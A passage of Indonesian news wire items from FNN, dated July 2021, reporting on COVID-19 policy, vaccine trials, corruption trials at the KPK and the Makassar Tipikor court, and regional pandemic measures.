Jakarta, FNN - Dosen Paramadina Graduate School Abdul Malik Gismar mengatakan ketidakpastian dan keresahan yang timbul akibat COVID-19 menjadi sesuatu yang misterius dan diistilahkan dengan "mysterium tremendum" atau misteri yang menggetarkan hati. Menurut Malik dalam diskusi virtual Paramadina Publik Policy Institute (PPPI) di Jakarta, Selasa, ketika seseorang dihadapkan pada misteri yang menggetarkan hati dan diliputi ketidakpastian maka ia memiliki kecenderungan untuk berpaling kepada Tuhan untuk berserah diri (agama). Berdasarkan data yang diambil dari Facebook sejak 1 Januari 2021 hingga 23 Juli 2021 menujukkan bahwa 786,8 ribu percakapan dengan kata kunci “COVID” dan “Corona” dikaitkan dengan religiusitas, kata Malik. “Percakapan mengenai COVID berbicara Tuhan dan ritual agama. Dan ini lintas agama, tidak terpaku hanya satu agama saja,” ujarnya. Menurut dia, sikap berserah itu dapat bermakna dua hal yang dapat berarti baik dan kurang baik, terutama dalam situasi konkret penanganan pandemi itu sendiri. Sikap berserah kepada Tuhan dapat menimbulkan harapan dan memiliki artian yang baik serta bisa meningkatkan imun, kata Malik. Di sisi lain, sikap itu juga dapat menimbulkan sikap abai terhadap protokol kesehatan. “Di satu sisi agama memberi asa dan itu penting karena bisa menjadi lebih optismis dalam situasi ketidakpastian. Tapi di sisi lain, bisa juga menghasilkan fatalisme atau menyerahkan sepenuhnya ke Tuhan serta melupakan protokol kesehatan dan justru meremehkan COVID-19,” ujarnya. Untuk itu, menurutnya penyediaan informasi yang kredibel patut menjadi perhatian pemerintah untuk memutus rasa ketidakpastian dan informasi yang tidak benar di masyarakat demi penaganan pandemi COVID-19 yang lebih baik. (mth)

Rusia Setujui Uji Coba Vaksin Campuran AstraZeneca-Sputnik V

Moskow, FNN - Rusia memberikan persetujuan untuk melanjutkan uji klinis yang mencampurkan vaksin asal Inggris AstraZeneca/Universitas Oxford dan vaksin Rusia Sputnik V, menurut daftar obat negara Rusia. Komite etik Kementerian Kesehatan pada Mei menunda persetujuan proses uji klinis tersebut, dan meminta informasi tambahan. Berdasarkan daftar obat pemerintah, lima klinik Rusia akan mengadakan uji coba yang dijadwalkan rampung pada awal Maret 2022. Vaksin AstraZeneca/Oxford dan Sputnik V menggunakan dua dosis --dosis awal dan dosis penguat-- namun Sputnik V menggunakan vektor virus yang berbeda untuk dua dosisnya. Dana Investasi Langsung Rusia (RDIF), yang mempromosikan penggunaan vaksin Sputnik V, menyambut baik keputusan untuk melanjutkan uji coba tersebut. "Saat ini, RDIF sedang melakukan uji klinis gabungan untuk mencampurkan komponen awal Sputnik V --vaksin Sputnik Light-- dengan vaksin dari manufaktur asing yang lain," katanya melalui pernyataan. "Secara khusus, vaksin Sputnik Light dapat digunakan dalam campuran dengan vaksin lain untuk meningkatkan efektivitasnya termasuk melawan varian baru yang muncul sebagai hasil dari mutasi virus." Apa yang disebut vaksin viral vektor menggunakan virus modifikasi yang tidak berbahaya sebagai perantara, atau vektor, untuk membawa informasi genetik yang membantu tubuh membangun imunitas terhadap infeksi di masa depan. Uji coba vaksin COVID-19 pada manusia yang mencampurkan vaksin AstraZeneca/Oxford dengan Sputnik V telah mengantongi persetujuan di Azerbaijan, Uni Emirat Arab, Belarus, serta Argentina. (sws)

Kejati NTB Dampingi 81 Proyek Strategis Nasional Senilai Rp4,5 Triliun

Mataram, FNN - Kejaksaan Tinggi Nusa Tenggara Barat (NTB) mendampingi pelaksanaan 81 proyek strategis nasional yang nilai keseluruhannya mencapai Rp4,5 triliun di provinsi ini. "Dari 86 permohonan pendampingan, 81 yang diterima. Dari total keseluruhan, nilai anggaran proyeknya mencapai Rp4,5 triliun," kata Juru Bicara Kejati NTB Dedi Irawan di Mataram, Selasa. Permohonan pendampingan ini merupakan kegiatan pada seksi Pendampingan Proyek Strategis (PPS) pada bidang intelijen. Kegiatan pendampingan dimohonkan oleh 11 kementerian dan lembaga pada pagu anggaran tahun 2021. "Pendampingannya pada aspek yuridis," ujarnya. Ada pun pelaksanaan proyek strategis nasional di NTB yang masuk dalam pendampingan Kejati NTB, antara lain ada di Balai Prasarana Permukiman Wilayah NTB. Proyek yang didampingi Kejaksaan, yakni penataan kawasan strategis pariwisata nasional di Gili Matra, Kabupaten Lombok Utara, senilai Rp79,4 miliar; pembangunan jaringan perpipaan SPAM untuk KSPN Gili senilai Rp30,06 miliar; dan instalasi pengolahan air KSPN Mandalika Rp80 miliar. Kemudian proyek di Balai Wilayah Sungai Nusa Tenggara I, yakni Bendungan Beringin Sila Paket 1 dan 2 di Kabupaten Sumbawa senilai Rp363,15 miliar; Bendungan Meninting, Kabupaten Lombok Barat Rp571,12 miliar; Bendungan Tiu Suntuk, Kabupaten Sumbawa Barat Rp161,29 miliar; penyelesaian bendung utama dan spillway Bendungan Bintang Bano, Kabupaten Sumbawa Barat Rp306,92 miliar; dan jaringan irigasi Bintang Bano Rp224,39 miliar. Selanjutnya, pendampingan di Balai Pelaksana Jalan Nasional NTB proyek Jalan Bypass Bandara Zainuddin Abdul Madjid (BIZAM)-KSPN Mandalika, Kabupaten Lombok Tengah Rp550,2 miliar; dan 10 paket revitalisasi drainase padat karya pada program Pemulihan Ekonomi Nasional Rp8,25 miliar. (sws)

KPK Dalami Dugaan Komunikasi Lili Pintauli Dengan M Syahrial

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) bakal mendalami keterangan saksi mantan penyidik KPK Stepanus Robin Pattuju soal adanya dugaan komunikasi Wakil Ketua KPK Lili Pintauli Siregar dengan terdakwa Wali Kota Tanjungbalai nonaktif M Syahrial. "Seluruh keterangan saksi maupun fakta-fakta persidangan lainnya akan dikonfirmasi kembali kepada para saksi yang akan dihadirkan dan alat bukti lainnya pada agenda persidangan berikutnya. Termasuk pada saatnya nanti juga akan dikonfirmasi kepada terdakwa MS (M Syahrial)," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Hal itu dikatakannya menanggapi keterangan saksi Robin dalam sidang perkara suap Wali Kota Tanjungbalai bahwa adanya dugaan komunikasi Lili dengan terdakwa Syahrial. Selanjutnya, kata Ali, Jaksa Penuntut Umum (JPU) KPK akan menyimpulkan seluruh fakta-fakta tersebut pada bagian akhir persidangan dalam analisa yuridis surat tuntutan. Sedangkan mengenai dugaan adanya pelanggaran etik oleh Lili terkait perkara M Syahrial tersebut, ia mengatakan Dewas KPK saat ini tengah memeriksa sesuai kewenangannya. "Sehingga nantinya dapat menyimpulkan ada tidaknya unsur pelanggaran kode etik dan pedoman perilaku yang dilakukan oleh insan KPK dimaksud," ujar Ali. Ia mengatakan setelah merampungkan seluruh proses pemeriksaan terhadap para saksi dan bukti-bukti terkait maka sebagai akuntabilitas dan transparansi publik, Dewas KPK akan mengumumkan hasil pemeriksaannya secara terbuka. "Kami senantiasa mengajak masyarakat dapat terus mengikuti dan mengawasi persidangan yang terbuka untuk umum dengan terdakwa MS ini karena kami meyakini semangat KPK dan masyarakat sama dalam upaya pemberantasan korupsi," tuturnya. Sebelumnya, Robin menyebut Syahrial mengaku pernah ditelepon Lili terkait dengan kasus yang sedang diusut KPK. Pembicaraan antara Syahrial dan Lili tersebut terkait dengan perkara jual beli jabatan di Pemerintahan Kota Tanjungbalai yang sedang ditangani oleh KPK. "Pak Syahrial menyampaikan minta bantu kepada Fahri Aceh atas saran ibu Lili Pintauli Siregar, setahu saya dia adalah Wakil Ketua KPK," kata Robin di Gedung KPK, Jakarta, Senin (26/7). Robin menjadi saksi untuk terdakwa Syahrial yang didakwa menyuap Robin sebesar Rp1,695 miliar agar tidak menaikkan kasus dugaan korupsi ke tingkat penyidikan. Sidang melalui telekonferensi, sementara majelis hakim, sebagian JPU KPK, dan penasihat hukum terdakwa hadir di Pengadilan Tindak Pidana Korupsi (Tipikor) Medan yang berlokasi di Pengadilan Negeri Medan. (sws)

LRT Jakarta Alih Fungsikan Kantor Jadi Selter Isolasi Mandiri COVID-19

Jakarta, FNN - Manajemen PT Lintas Raya Terpadu (LRT) Jakarta mengalihfungsikan salah satu kantornya di kawasan Kelapa Gading, Jakarta Utara sebagai selter isolasi mandiri bagi pasien COVID-19 di Rukun Warga 03 dan 05 Pegangsaan Dua. Direktur Utama PT LRT Jakarta Wijanarko di Jakarta, Selasa, mengatakan awalnya selter isolasi mandiri tersebut hanya difungsikan sebagai tempat bagi karyawan Badan Usaha Milik Daerah Provinsi DKI Jakarta, PT Jakarta Propertindo (Persero) atau Jakpro yang terpapar COVID-19. Namun, Jakpro kemudian berkolaborasi dengan pemangku kepentingan lainnya (stakeholders), seperti Palang Merah Indonesia dan Pemerintah Kota Jakarta Utara agar lokasi tersebut bisa dimanfaatkan oleh warga sekitar. "Jadi kebetulan kami anak usaha dari Jakpro yang bergerak di bidang transportasi kereta, banyak karyawan kami yang memang terpapar COVID-19. Rata-rata pendatang, ngekos, dan kesulitan tempat isolasi. Maka ada beberapa tempat yang kami gunakan, tapi yang layak ini. Akhirnya kami buat lah tempat isolasi untuk internal. Nah, tapi dari Jakpro ada kolaborasi dengan (pemangku kepentingan) yang lain untuk dimanfaatkan bagi masyarakat di sekitar," tutur Wijanarko kepada ANTARA. Selter isolasi mandiri pasien COVID-19 milik LRT Jakarta tersebut memiliki dua lantai, lantai satu memiliki sekitar 10 kamar dan lantai dua memiliki 11 kamar. Jadi total kurang lebih ada 21 kamar. Namun per kamarnya memiliki kapasitas yang beragam, ada yang bisa diisi dua tempat tidur, tiga tempat tidur, dan terdapat ruangan yang cukup luas untuk diisi oleh satu keluarga. Dukungan yang diberikan LRT Jakarta tak hanya kamar dan tempat tidur saja, namun juga kebutuhan dapurnya. Sebab di selter isolasi tersebut juga menyediakan dapur umum yang bisa dikelola secara mandiri oleh mereka yang sedang isolasi mandiri di tempat tersebut. Di setiap kamar isolasi juga disediakan pendingin ruangan (air conditioner/AC) dan jaringan internet nirkabel (wireless fidelity/Wifi). "Jadi karena kami kerja dari rumah (work from home/WFH), maka peralatan dari kantor kami mobilisasi untuk pemulihan (karyawan)," ucap Wijanarko. Saat ini, kamar yang sudah diisi penghuni terdapat dua unit, yakni satu kamar diisi satu orang merupakan karyawan dari LRT dan satu kamar lagi diisi dua orang dari PT Pulo Mas Jaya, Badan Usaha Milik Daerah Provinsi DKI Jakarta yang mengelola fasilitas olahraga Jakarta International Equestrian Park Pulomas (JIEPP) yang berlokasi di Jakarta Timur. "Kurang lebih ada empat hari mereka melakukan isolasi," kata Wijanarko. Pengobatan mereka dilakukan secara mandiri, namun tetap selalu dikontrol dengan layanan telemedicine. Untuk memfasilitasi pelayanan telemedicine itu, PT LRT Jakarta juga menyediakan grup Whatsapp khusus yang berisi Dokter Perusahaan dan tenaga kesehatan dari Puskesmas setempat. "Mereka membantu konsultasi, kemudian kebutuhan obat-obatan, kemudian juga kapan yang harus selesai isolasinya, dipantau perhari kondisinya seperti apa, baik dari temperatur, saturasi, dan segala macam tiap hari dipantau," tutur Wijanarko. (mth)

Nurdin Abdullah Dibolehkan Keluar Rutan KPK untuk Berobat

Makassar, FNN - Tersangka kasus suap Gubernur Sulawesi Selatan nonaktif, Nurdin Abdullah, dibolehkan keluar Rumah Tahanan KPK untuk mendapatkan pengobatan dari dokter spesialis. Kuasa hukum Abdullah, Arman Hanis, telah mengajukan permohonan kepada majelis hakim Pengadilan Negeri Tindak Pidana Korupsi Makassar agar diberi izin untuk berobat di luar Rumah Tahanan KPK. "Kami sudah ajukan permohonan izinnya dan majelis hakim pengadilan telah mengabulkan permohonan kami karena klien kami itu harus berobat pada dokter spesialis," ujarnya. Pengajuan permohonan berobat itu dilakukan tim kuasa hukumnya pada sidang perdana kasus suap dan gratifikasi di Ruang Harifin Tumpa Pengadilan Tipikor pada Pengadilan Negeri Makassar, Kamis (22/7). Hanis menyatakan kliennya membutuhkan terapi ortopedi dan pengajuan itu juga setelah pihaknya mendapatkan rekomendasi dari dokter yang ditunjuk KPK). Lebih jauh terkait dalih penyakit NA itu, dia enggan membeber. Ia hanya mengatakan jika pengobatan rutin kliennya itu harus ditangani dokter ortopedi. "Intinya dia memang membutuhkan pengobatan rutin dari dokter spesialis. Yaitu seorang dokter yang mengambil spesialisasi ortopedi," katanya. Sebelumnya, Abdullah didakwa telah menerima uang suap senilai 150.000 dolar Singapura (sekitar Rp1,596 miliar) dan Rp2,5 miliar dari terdakwa Agung Sucipto. Nurdin Abdullah selaku pejabat negara diduga menerima suap untuk memuluskan kontraktor Agung Sucipto dalam memenangkan proyek infrastruktur Jalan Palampang-Munte-Botolempangan poros Bulukumba-Sinjai, Sulawesi Selatan. (sws)

Menpan RB: ASN Harus Ikuti Perintah Presiden Soal Penanganan COVID-19

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo mengimbau seluruh aparatur sipil negara (ASN) di instansi pusat dan daerah mengikuti perintah Presiden Joko Widodo terkait penanganan COVID-19 di Indonesia. "ASN harus tegak lurus mengikuti perintah dari pemerintah pusat, khususnya arahan dari Bapak Presiden dan Bapak Wakil Presiden untuk menegakkan disiplin dalam kehidupan dan tugas sehari-hari," kata Tjahjo di acara Launching Core Values and Employer Branding Aparatur Sipil Negara secara daring, Selasa. Seluruh ASN di kementerian dan lembaga pemerintah nonkementerian (K/L) serta pemerintah daerah harus bekerja sama dengan TNI, Polri, dan elemen masyarakat lain dalam mengikuti anjuran pemerintah untuk mempercepat penanggulangan COVID-19. "ASN di seluruh tingkatan harus ikut bersama TNI, Polri, dan elemen masyarakat lainnya untuk memelopori, menggerakkan, dan mengorganisasi lingkungan masyarakat dalam mengikuti setiap perintah dan anjuran pemerintah pusat maupun kepala daerah," jelasnya. Sementara itu, Presiden Joko Widodo yang menyampaikan sambutannya secara virtual mengatakan seluruh ASN yang bertugas di mana pun harus memegang teguh nilai-nilai dasar yang sama. "ASN yang bertugas sebagai pegawai pusat maupun pegawai daerah harus mempunyai core values yang sama dan mempunyai proposisi nilai rujukan yang sama," kata Presiden. Presiden mengingatkan seluruh ASN di instansi pusat dan daerah untuk meninggalkan egoisme masing-masing dan harus meningkatkan kolaborasi lintas sektor. "Semua masalah selalu lintas sektor dan lintas disiplin. Saat ini dunia menjadi serba hybrid, serba kolaboratif. Tidak boleh lagi ada ego, baik ego sektor, ego daerah, dan ego ilmu," ujar Presiden. (sws)

Fadjroel : Gotong-Royong Kunci Sukses PPKM Level 4

Jakarta, FNN - Staf Khusus Presiden Bidang Komunikasi Fadjroel Rachman mengatakan gotong-royong merupakan salah satu kunci sukses pelaksanaan kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4. "Kita yakin Indonesia sehat, Indonesia Maju dengan bergotong-royong," ujar Fadjroel dalam siaran pers di Jakarta, Selasa. Presiden Joko Widodo melanjutkan penerapan PPKM Level 4 dari tanggal 26 Juli hingga 2 Agustus 2021 untuk menurunkan laju penularan COVID-19. Fadjroel mengungkapkan, kebijakan ini merupakan rekomendasi dari ilmuwan, masyarakat dan berbagai elemen bangsa lainnya. Dia menekankan pemerintah mengapresiasi seluruh elemen bangsa yang telah menaati PPKM sehingga berhasil melindungi keselamatan diri, keluarga dan lingkungan luas. Pada saat bersamaan, program vaksinasi yang makin merata diharapkan segera menciptakan imunitas kelompok secara nasional. Dia mengatakan selama pemberlakuan PPKM, pemerintah mengoptimalkan program perlindungan sosial agar kebutuhan dasar masyarakat tetap mencukupi. Selain program perlindungan sosial selama PPKM, selama ini pemerintah melalui Kementerian Sosial secara reguler telah menyalurkan Program Keluarga Harapan (PKH) dan Program Kartu Sembako. Selain itu pemerintah menambah perlindungan sosial untuk rakyat, diantaranya penambahan jumlah manfaat Kartu Sembako untuk Keluarga Penerima Manfaat (KPM), perpanjangan Bantuan Sosial Tunai (BST), keberlanjutan Subsidi Kuota Internet, Diskon Listrik, Bantuan Rekening Minimum Biaya Beban/Abonemen, penambahan anggaran untuk Program Prakerja serta pemberian Bantuan Subsidi Gaji/Upah untuk Pekerja/Buruh (BSU), penambahan Bantuan Produktif Usaha Mikro (BPUM), penambahan Bantuan untuk Warung atau Pedagang Kaki Lima (PKL). Pemerintah juga memberikan bantuan untuk dunia usaha selama PPKM Level 4 diantaranya pemberian insentif fiskal yaitu Pajak Pertambahan Nilai (PPN) atas sewa toko di pusat perbelanjaan atau mal akan Ditanggung Pemerintah (DTP) untuk masa pajak bulan Juni sampai dengan Agustus 2021. (sws)

Ketua DPD Apresiasi Pabrik Rokok di Malang Terapkan Prokes Ketat

Malang, Jawa Timur, FNN - Ketua Dewan Perwakilan Daerah (DPD) La Nyalla Mahmud Mattalitti memberikan apresiasi kepada pabrik rokok CV Sayap Mas Nusantara di Kabupaten Malang, karena mampu menerapkan protokol kesehatan (prokes) secara ketat pada masa pandemi COVID-19. Dalam keterangan tertulis yang diterima ANTARA, di Malang, Jawa Timur, Selasa, LaNyalla mengatakan bahwa dengan penerapan prokes ketat, pabrik yang berada di Desa Sukosari, Kecamatan Gondanglegi, itu, mampu mempertahankan produksi. "Ini sudah bagus, karyawan masih bisa bekerja dengan prokes ketat. Mengharuskan karyawan menggunakan masker, penerapan 'social distancing' dan menyediakan tempat cuci tangan. Apalagi menurut informasi, seluruh karyawan di sini sudah divaksin," ujar LaNyalla. Menurut LaNyalla, keputusan perusahaan menerapkan protokol kesehatan ketat turut membantu karyawan untuk menjamin kebutuhan hidup mereka. Terlebih, saat ini pemerintah tengah menerapkan pemberlakuan pembatasan kegiatan masyarakat (PPKM) untuk menekan penyebaran COVID-19. Dalam kesempatan itu, Pemlik CV Sayap Mas Nusantara, Sulaiman, mengucapkan terima kasih atas kedatangan Ketua DPD RI di pabrik rokok miliknya. Ia menegaskan bahwa perhatian pemerintah sangat dibutuhkan oleh industri di masa pandemi seperti ini. Dengan jumlah pekerja yang mencapai 1.500 orang, CV Sayap Mas Nusantara telah menjadi tumpuan bagi masyarakat sekitar untuk mendapatkan penghidupan. Menurut Sulaiman, sebagian pekerja pabrik rokok tersebut adalah masyarakat sekitar yang didominasi perempuan. "Pabrik rokok yang berdiri sejak tahun 2016 memiliki 1.500 karyawan, 70 persen adalah karyawan perempuan untuk tenaga giling dan linting. Dalam sehari, pabrik kami mampu memproduksi 385.000 batang SKT," ujarnya. Selama pandemi, ia berupaya agar proses produksi tetap berjalan dengan menjalankan protokol kesehatan ketat, yakni memakai marker, mencuci tangan, menjaga jarak, mengurangi kerumunan, dan mengurangi mobilitas saat bekerja. "Kami tetap produksi pada masa pandemi, hanya saja saat PPKM distribusi pengiriman kami menurun, tersendat hingga turun sebesar 10 persen akibat banyaknya penyekatan," katanya. Ia menambahkan padahal pengiriman rokok produksi pabrik tersebut tidak hanya di wilayah Jawa Timur tetapi meliputi Jawa Tengah, Jawa Barat, Kalimantan, dan NTB. "Kami tidak bisa kirim lewat darat kalau lewat kargo bisa tetapi tetap ada pengurangan," tambahnya. Untuk itu, ia berharap pemerintah melakukan peninjauan ulang dan melihat kondisi di lapangan, serta memberikan kemudahan berusaha pada masa pandemi. Tercatat, hingga saat ini di wilayah Kabupaten Malang ada sebanyak 8.423 kasus konfirmasi positif COVID-19. Dari total tersebut, sebanyak 4.483 orang dilaporkan sembuh, 374 orang dinyatakan meninggal dunia, dan sisanya berada dalam perawatan. (sws)

Polres Mukomuko Perpanjang Operasi Cegah Penyebaran COVID-19

Mukomuko, FNN - Kepolisian Resor Mukomuko, Provinsi Bengkulu, memperpanjang masa Operasi Aman Nusa II dalam rangka pencegahan penyebaran COVID-19 di daerah setempat. “Operasi Aman Nusa II ini sudah berlangsung lama, kini diperpanjang lagi dan terakhir mulai dari tanggal 12 Juli hingga 2 Agustus 2021, nanti bisa jadi diperpanjang lagi kalau COVID-19 masih ada,” kata Kabag Operasional Kepolisian Resor Kabupaten Mukomuko, Kompol Hasdi, dalam keterangannya di Mukomuko, Selasa. Personel Kepolisian Resor setempat sejak sepekan terakhir sampai sekarang melakukan sosialisasi dan imbauan terkait aturan terkait penegakan hukum protokol kesehatan kepada masyarakat setempat. Personel Polres Mukomuko menggelar operasi di sejumlah tempat dan fasilitas umum yang tersebar di daerah ini, terutama di wilayah yang masuk zona merah atau tinggi penularan virus corona. Ia mengatakan, pihaknya menggelar operasi Aman Nusa ini dengan cara melakukan sosialisasi, memberikan imbauan, dan pembatasan-pembatasan kalau ada kerumunan masyarakat di daerah ini. Kemudian pihaknya mengimbau masyarakat setempat menyiapkan tempat cuci tangan terutama kepada kelompok usaha masyarakat di daerah ini sebagai upaya untuk mencegah penularan dan penyebaran virus corona. Personel Kepolisian Resor setempat ikut serta mensosialisasikan Peraturan Daerah Nomor 5 tahun 2021 tentang Penerapan Disiplin dan Penegakan Hukum Protokol Kesehatan pencegahan penyebaran COVID-19 di daerah ini. Personel Kepolisian Resor Kabupaten Mukomuko mensosialisasikan Perda Nomor 5 tahun 2021 tentang Penerapan Disiplin dan Penegakan Hukum Protokol Kesehatan pencegahan penyebaran COVID-19 dengan cara berkeliling di Kecamatan Kota Mukomuko. Sementara itu jumlah kasus positif COVID-19 saat ini bertambah 17 orang yang tersebar di tujuh dari 15 kecamatan di daerah ini, sehingga total kasus COVID-19 menjadi 1.440 orang. Jumlah total spesimen yang telah diperiksa sebanyak 5.819 sampel, jumlah total spesimen yang dinyatakan positif COVID-19 ada 1.440 orang dan 40 orang di antaranya yang meninggal dunia. (sws)

Kodim 0911/Nunukan Siapkan Personil Jaga Jenazah COVID-19 di RS

Nunukan, FNN - Kodim 0911/Nunukan siap mengerahkan personil untuk menjaga jenazah Covid-19 di rumah sakit agar tidak mendapatkan gangguan dari keluarganya. Hal ini disampaikan Komandan Kodim 0911/Nunukan, Letnan Kolonel CZI Eko Pur Indriyanto, Selasa, sehubungan kekhawatiran penolakan dari keluarga pasien yang meninggal dunia untuk memakamkan jenazah keluarganya itu seturut protokol kesehatan. Ia menuturkan penjagaan itu akan dilakukan khususnya pada ruangan ICU perawatan pasien Covid-19 di RSUD Nunukan dan rumah sakit lain tempat perawatan. "Kami dari Kodim Nunukan tentukan siap membantu dengan menyiapkan pengamanan di ruang ICU pasien Covid-19 di rumah sakit," ujar dia. Personil yang akan dikerahkan menjadi pengamanan jenazah pasien Covid-19 sebagai bentuk antisipasi jika suatu saat ada keluarganya yang menolak dimakamkan sesuai SOP Covid-19. Sebelumnya, Bupati Nunukan, Hj Asmin Laura Hafid, menyambut baik keinginan Kodim 0911/Nunukan yang akan menyediakan pengamanan jenazah Covid-19 di rumah sakit. Laura mengatakan peran serta TNI dan Polri selama ini sangat membantu pemda dalam penegakan keamanan dan ketertiban selama pandemi Covid-19. "Memang kita sangat terbantu oleh komitmen TNI-Polri yang bekerja bersama-sama selama pandemi Covid-19 ini," ucap dia. (sws)

Hakim Tipikor Makassar: Uang Pilkada NA Hanya Sumbangan Pilkada

Makassar, FNN - Ketua Majelis Hakim Pengadilan Tindak Pidana Korupsi Makassar, Sulawesi Selatan, Ibrahim Palino mengatakan permintaan uang oleh Gubernur Sulsel nonaktif Nurdin Abdullah (NA) untuk pemenangan pilkada hanya sebagai sumbangan politik. "Menimbang bahwa perbuatan itu hanyalah merupakan sumbangan politik saja. Karenanya, maka dengan itu, UU Tipikor tidak bisa diberlakukan untuk sumbangan pilkada," ujar Ibrahim Palino di Makassar, Selasa. Penegasan mengenai permintaan uang itu terungkap saat Ibrahim Palino membacakan putusan perkara korupsi suap dan gratifikasi oleh terdakwa Agung Sucipto pada pejabat negara Gubernur Sulsel nonaktif Nurdin Abdullah. Dalam putusan perkara itu ia menjelaskan jika fakta tersebut sudah dicermati majelis hakim dan diputuskan bahwa fakta itu hanyalah merupakan sumbangan politik sehingga tidak dapat dijerat dengan Undang-Undang Tipikor. Pada persidangan Kamis (10/6), terdakwa Agung Sucipto mengungkapkan jika dirinya telah menyerahkan uang sebesar 150 ribu dolar Singapura untuk kepentingan membiayai pasangan calon tertentu pada Pilkada Bulukumba. Gubernur Sulawesi Selatan nonaktif Nurdin Abdullah yang menjadi saksi kasus suap untuk terdakwa Agung Sucipto mengakui telah menerima uang sebanyak 150 ribu dolar Singapura pada 2019. "Benar uang itu dibawa oleh Pak Anggu dan itu untuk kepentingan Pilkada Bulukumba," ujar Nurdin Abdullah menjawab pertanyaan JPU KPK Ronald Ferdinand Worotikan secara virtual. Ia mengatakan uang sebanyak 150 ribu dolar Singapura itu diterimanya untuk pemenangan salah satu pasangan calon Bupati Bulukumba Tommy Satria-Andi Makkasau pada Pilkada 2020. Namun, Nurdin membantah jika uang 150 ribu dolar Singapura itu digunakan sebagai suap untuk mendapatkan proyek infrastruktur yang dilelang oleh Pemprov Sulsel. Sementara pada sidang putusan terhadap terdakwa Agung Sucipto, Majelis Hakim Pengadilan Tindak Pidana Korupsi Makassar menjatuhkan pidana penjara selama dua tahun dan denda Rp150 juta untuk terdakwa Agung Sucipto dalam sidang putusan perkara suap Gubernur Sulawesi Selatan nonaktif Nurdin Abdullah. "Secara sah dan terbukti melakukan tindak pidana dengan menyediakan dan kemudian memberikan uang sebesar 150 ribu dolar Singapura ditambah Rp2,5 miliar pada Nurdin Abdullah yang kala itu masih menjabat sebagai Gubernur Sulsel," ujar Ketua Majelis Hakim Ibrahim Palino. Atas putusan itu, baik jaksa penuntut umum maupun penasihat hukum terdakwa mengaku belum memutuskan upaya hukum lanjutan ke Pengadilan Tinggi Sulsel. Pada sidang itu, terdakwa divonis melakukan tindak pidana korupsi secara berlanjut, sebagaimana diatur dalam dakwaan alternatif pertama, dalam Pasal 5 ayat (1) huruf (a), Undang-undang Nomor 31 Tahun 1999 tentang Tindak Pidana Korupsi. Sebagaimana diubah dengan Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Juncto Pasal 64 ayat (1) KUHP. (sws)

Tjahjo Tetapkan 27 Juli Sebagai Hari Jadi Kemenpan RB

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo menetapkan Hari Jadi Kemenpan RB untuk diperingati setiap tanggal 27 Juli setiap tahun. "Penetapan ini sejalan dengan tanggal pembentukan Bapekan (Badan Pengawasan Kegiatan Aparatur Negara) pada 27 Juli 1959 oleh Presiden Soekarno," kata Tjahjo di acara Launching Core Values and Employer Branding Aparatur Sipil Negara secara daring, Selasa. Tjahjo mengatakan pembentukan Bapekan merupakan momen bersejarah karena menjadi lembaga negara yang menangani urusan pendayagunaan aparatur negara dan birokrasi. "Momentum ini juga kami pandang menjadi momentum sejarah yang memiliki nilai historis tinggi sebagai titik tolak perjalanan bangsa dan peran PAN RB dalam pemerintah dan pembangunan nasional," jelasnya. Terlebih lagi, tambahnya, visi dan misi pemerintah Presiden Joko Widodo dan Wakil Presiden Ma’ruf Amin menempatkan reformasi birokrasi sebagai upaya untuk meningkatkan kualitas sumber daya ASN di Indonesia. "Ini menempatkan reformasi birokrasi dan pendayagunaan sebagai bagian dari tiang untuk percepatan kualitas sumber daya ASN kita, baik di pemerintah pusat sampai di daerah," katanya. Oleh karena itu, Tjahjo mengatakan pada tanggal 27 Juli dipilih sebagai Hari Jadi Kemenpan RB sebagai salah satu episentrum reformasi birokrasi daerah. "Momen yang spesial ini, kami teguhkan komitmen kuat kami untuk melakukan akselerasi transformasi dan siap menjadi Kemenpan RB sebagai salah satu episentrum reformasi birokrasi di Indonesia," ujarnya. Dalam acara secara virtual itu, Presiden Joko Widodo mengatakan setiap ASN harus memiliki orientasi yang seragam dalam memberikan pelayanan terbaik kepada masyarakat. "ASN bukan pejabat yang justru minta dilayani, yang bergaya seperti pejabat zaman kolonial dulu. Itu tidak boleh lagi, bukan zamannya lagi," kata Presiden. Presiden mengingatkan seluruh ASN di instansi pusat dan daerah untuk meninggalkan egoisme masing-masing dan harus meningkatkan kolaborasi lintas sektor. "Semua masalah selalu lintas sektor dan lintas disiplin. Saat ini dunia menjadi serba hybrid, serba kolaboratif. Tidak boleh lagi ada ego, baik ego sektor, ego daerah, dan ego ilmu," ujar Presiden. (sws)

Anggota DPR RI: Kebijakan Penanggulangan COVID-19 Jangan Dipolitisasi

Jakarta, FNN - Anggota DPR Andreas Hugo Pareira meminta agar kebijakan penanggulangan pandemi COVID-19 jangan sampai dipolitisasi oleh pihak mana pun. Anggota Fraksi PDIP di DPR Andreas Hugo Pareira dalam keterangan diterima di Jakarta, Selasa mengatakan Pemerintah Pusat sudah mengeluarkan berbagai program bantuan sosial untuk penanggulangan pandemi COVID-19. Menurut dia, pemerintah daerah dan pusat pun perlu mengantisipasi dinamika di lapangan dan terus berkoordinasi. "Apa pun gerakan maupun upaya penanggulangan, termasuk untuk para pelaku wisata, hendaknya tidak dipolitisasi, sehingga situasi ini tidak memburuk," kata Andreas. Andreas mengatakan, pemerintah harus membuat kebijakan pembatasan masyarakat mengingat penambahan kasus positif COVID-19 kembali naik. "Tidak ada pilihan lain. Kalau kita membiarkan mobilitas masyarakat tetap tinggi, maka risikonya korban pandemi naik lagi," ucap Andreas. Sedangkan Wakil Ketua MPR dari Fraksi PKB Jazilul Fawaid menyatakan bahwa partai-nya tegas menolak pengibaran bendera putih. Pengibaran bendera putih di beberapa daerah sebagai bentuk protes terhadap perpanjangan PPKM dinilai bisa menimbulkan kegaduhan dan akan menambah derita rakyat. "Aksi itu tidak bertanggung jawab, menimbulkan kegaduhan, serta akan menambah derita rakyat," ujar Jazilul Fawaid. Menurut Jazilul polisi bisa mengusut motif dan pelaku tindakan tersebut jika aksi pengibaran bendera putih itu dinilai meresahkan. Dia menyarankan siapa pun untuk tidak melakukan aksi yang mempersulit keadaan dan juga kontraproduktif. "Hemat kami, aksi seperti itu mudah ditumpangi politisi hitam yang mencari keuntungan di tengah penderitaan," ucap-nya. Anggota Fraksi Golkar di DPR Bobby Adityo Rizaldi menilai kalau 